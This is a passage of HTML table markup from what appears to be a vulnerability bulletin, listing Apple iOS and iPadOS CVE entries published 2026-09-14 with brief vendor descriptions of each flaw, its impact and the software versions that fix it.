&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65359&quot; target=&quot;_blank&quot;&gt;CVE-2026-65359&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65360&quot; target=&quot;_blank&quot;&gt;CVE-2026-65360&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved redaction of sensitive information. This issue is fixed in iOS 26.6 and iPadOS 26.6, macOS Sequoia 15.8, macOS Tahoe 26.6, tvOS 26.6, visionOS 26.6, watchOS 26.6. An app may be able to disclose kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65371&quot; target=&quot;_blank&quot;&gt;CVE-2026-65371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A memory corruption issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65377&quot; target=&quot;_blank&quot;&gt;CVE-2026-65377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Processing a maliciously crafted image may result in memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65395&quot; target=&quot;_blank&quot;&gt;CVE-2026-65395&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds access issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65398&quot; target=&quot;_blank&quot;&gt;CVE-2026-65398&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A file quarantine bypass was addressed with additional checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. An archive may be able to bypass Gatekeeper.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65399&quot; target=&quot;_blank&quot;&gt;CVE-2026-65399&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65402&quot; target=&quot;_blank&quot;&gt;CVE-2026-65402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;This issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65403&quot; target=&quot;_blank&quot;&gt;CVE-2026-65403&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An authorization issue was addressed with improved state management. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8. A malicious application may be able to bypass Privacy preferences.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65404&quot; target=&quot;_blank&quot;&gt;CVE-2026-65404&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A memory initialization issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to determine kernel memory layout.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65405&quot; target=&quot;_blank&quot;&gt;CVE-2026-65405&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A logic issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65406&quot; target=&quot;_blank&quot;&gt;CVE-2026-65406&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.6 and iPadOS 26.6, iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.6, macOS Tahoe 26.7, tvOS 26.6, tvOS 27, visionOS 26.6, visionOS 27, watchOS 26.6, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65407&quot; target=&quot;_blank&quot;&gt;CVE-2026-65407&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65408&quot; target=&quot;_blank&quot;&gt;CVE-2026-65408&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A type confusion issue was addressed with improved memory handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65409&quot; target=&quot;_blank&quot;&gt;CVE-2026-65409&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;The issue was addressed with improved checks. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65410&quot; target=&quot;_blank&quot;&gt;CVE-2026-65410&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A path handling issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, visionOS 27. An app may be able to modify protected parts of the file system.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65411&quot; target=&quot;_blank&quot;&gt;CVE-2026-65411&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A null pointer dereference was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27, watchOS 27. Processing web content may lead to a denial-of-service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65412&quot; target=&quot;_blank&quot;&gt;CVE-2026-65412&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A remote attacker may be able to cause unexpected app termination or arbitrary code execution.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65414&quot; target=&quot;_blank&quot;&gt;CVE-2026-65414&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with additional validation. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. A local user may be able to cause unexpected system termination or read kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65415&quot; target=&quot;_blank&quot;&gt;CVE-2026-65415&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An integer overflow was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted file may result in disclosure of process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84487&quot; target=&quot;_blank&quot;&gt;CVE-2026-84487&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 18.7.10 and iPadOS 18.7.10, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.7.8, macOS Sonoma 14.8.8. An app may be able to cause a denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84489&quot; target=&quot;_blank&quot;&gt;CVE-2026-84489&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A permissions issue was addressed with additional restrictions. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84491&quot; target=&quot;_blank&quot;&gt;CVE-2026-84491&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84492&quot; target=&quot;_blank&quot;&gt;CVE-2026-84492&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A buffer overflow was addressed with improved size validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Opening a maliciously crafted file may lead to unexpected process termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84497&quot; target=&quot;_blank&quot;&gt;CVE-2026-84497&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A race condition was addressed with improved state handling. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or corrupt kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84507&quot; target=&quot;_blank&quot;&gt;CVE-2026-84507&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A heap buffer overflow was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a maliciously crafted volume may lead to unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84510&quot; target=&quot;_blank&quot;&gt;CVE-2026-84510&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted asset catalog may lead to unexpected process termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84511&quot; target=&quot;_blank&quot;&gt;CVE-2026-84511&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A privacy issue was addressed with improved private data redaction for log entries. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. A malicious application may be able to determine a user&#039;s current location.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84513&quot; target=&quot;_blank&quot;&gt;CVE-2026-84513&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7. Mounting a disk image with maliciously crafted files may lead to unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84519&quot; target=&quot;_blank&quot;&gt;CVE-2026-84519&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A use after free issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. An app may be able to cause unexpected system termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84521&quot; target=&quot;_blank&quot;&gt;CVE-2026-84521&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to cause unexpected system termination or write kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84523&quot; target=&quot;_blank&quot;&gt;CVE-2026-84523&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted font file may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84524&quot; target=&quot;_blank&quot;&gt;CVE-2026-84524&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D scene may lead to unexpected process termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84526&quot; target=&quot;_blank&quot;&gt;CVE-2026-84526&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A logging issue was addressed with improved data redaction. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to access sensitive user data.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84527&quot; target=&quot;_blank&quot;&gt;CVE-2026-84527&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An information disclosure issue was addressed with improved memory management. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. An app may be able to disclose kernel memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84530&quot; target=&quot;_blank&quot;&gt;CVE-2026-84530&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27. Processing maliciously crafted NTLM input may lead to unexpected app termination.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84531&quot; target=&quot;_blank&quot;&gt;CVE-2026-84531&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds read issue was addressed with improved input validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27. Opening a maliciously crafted file may cause unexpected process termination or disclose process memory.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84532&quot; target=&quot;_blank&quot;&gt;CVE-2026-84532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A cryptographic issue was addressed with improved integrity checks. This issue is fixed in iOS 27 and iPadOS 27, macOS Golden Gate 27, tvOS 27, watchOS 27. An attacker in a privileged network position may be able to modify network traffic.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84533&quot; target=&quot;_blank&quot;&gt;CVE-2026-84533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;A path handling issue was addressed with improved validation. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, visionOS 27. Extracting a maliciously crafted archive may allow an attacker to write arbitrary files.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84534&quot; target=&quot;_blank&quot;&gt;CVE-2026-84534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
&lt;td&gt;An out-of-bounds write issue was addressed with improved bounds checking. This issue is fixed in iOS 26.7 and iPadOS 26.7, iOS 27 and iPadOS 27, macOS Golden Gate 27, macOS Sequoia 15.8, macOS Tahoe 26.7, tvOS 27, visionOS 27, watchOS 27. Processing a maliciously crafted 3D model may lead to memory corruption.&lt;/td&gt;
&lt;td&gt;2026-09-14&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84546&quot; target=&quot;_blank&quot;&gt;CVE-2026-84546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Apple--iOS and iPadOS&lt;/td&gt;
